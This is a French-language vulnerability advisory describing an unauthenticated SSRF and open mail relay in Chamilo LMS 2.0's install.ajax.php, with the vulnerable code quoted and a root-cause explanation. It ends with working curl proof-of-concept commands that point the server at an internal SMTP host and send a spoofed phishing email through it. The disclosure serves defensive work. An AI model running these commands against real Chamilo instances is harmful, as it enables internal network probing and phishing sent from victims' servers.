
SSRF non authentifié + relais de courrier électronique ouvert dans Chamilo LMS via install.ajax.php — CVSS 7.5
Sévérité : Élevée (CVSS 7.5)
CWE : CWE-918 (SSRF) + CWE-306 (Authentification manquante)
Version concernée : chamilo/chamilo-lms 2.0 (commit 0195b29 et versions antérieures)
Avis de sécurité : GHSA-mxc9-9335-45mc
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-33715
install.ajax.php dans Chamilo LMS 2.0 est accessible sans authentification sur des instances entièrement installées. Son action test_mailer accepte un DSN Symfony Mailer arbitraire et une destination provenant des données POST, permettant à tout attaquant non authentifié de forcer le serveur à initier des connexions SMTP vers des hôtes internes arbitraires (SSRF) et d'envoyer des e-mails via le serveur Chamilo comme relais ouvert.
J'auditais Chamilo LMS après avoir remarqué qu'il avait accumulé plusieurs CVE mais n'avait pas été audité en profondeur sur ses points de terminaison AJAX. Mon approche : lister tous les fichiers dans public/main/inc/ajax/ et vérifier si chacun commence par require_once __DIR__.'/../global.inc.php' — l'inclusion qui impose l'authentification dans l'ensemble du code.
install.ajax.php était l'exception. Il n'inclut que l'autoloader Composer. Le nom du fichier suggérait déjà qu'il s'agissait de code d'installation résiduel — et grep pour test_mailer à l'intérieur a confirmé qu'il accepte une chaîne DSN Symfony Mailer brute provenant des données POST et la transmet directement à Transport::fromDsn().
C'est une primitive SSRF complète : un attaquant non authentifié contrôle le protocole, l'hôte et le port auxquels le serveur se connecte. Le fait qu'il envoie un e-mail réel via le transport que vous configurez en fait également un relais ouvert. J'ai confirmé avec un simple curl que le point de terminaison était accessible sans cookie de session sur une instance entièrement installée.
La cause racine est architecturale : le fichier contourne le pare-feu de sécurité de Symfony car RewriteCond %{REQUEST_FILENAME} !-f d'Apache transmet les fichiers PHP existants directement à PHP, sans jamais passer par le contrôleur frontal.
Fichier : public/main/inc/ajax/install.ajax.php
Le fichier a été conçu pour l'assistant d'installation mais reste accessible après l'installation. Contrairement à tous les autres points de terminaison AJAX du même répertoire, il n'inclut pas global.inc.php — ce qui signifie zéro authentification, zéro contrôle d'autorisation :
// Ligne 18 — charge uniquement l'autoloader Composer, pas d'authentification
require_once __DIR__.'/../../../../vendor/autoload.php';
L'action test_mailer (ligne ~138) accepte des paramètres POST contrôlés par l'attaquant :
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // DSN SMTP arbitraire
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // e-mail arbitraire
// ...
$transport = Transport::fromDsn($mailerDsn); // se connecte au serveur SMTP de l'attaquant
$mailer = new Mailer($transport);
$mailer->send($email); // envoie un e-mail via celui-ci
Comparez avec tout point de terminaison correctement protégé :
// chat.ajax.php ligne 9 — modèle correct
require_once __DIR__.'/../global.inc.php'; // impose l'authentification
api_block_anonymous_users();
Le fichier est servi directement par Apache (RewriteCond %{REQUEST_FILENAME} !-f transmet les fichiers PHP existants, contournant le pare-feu de sécurité de Symfony). L'absence d'inclusion de global.inc.php signifie aucune session, aucune authentification, aucun contrôle de fin d'installation.
Voir poc.py pour une démonstration complète.
# SSRF — forcer Chamilo à se connecter à un serveur SMTP interne
curl -X POST "http://<cible>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Relais ouvert — envoyer un e-mail de phishing via le serveur Chamilo
curl -X POST "http://<cible>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"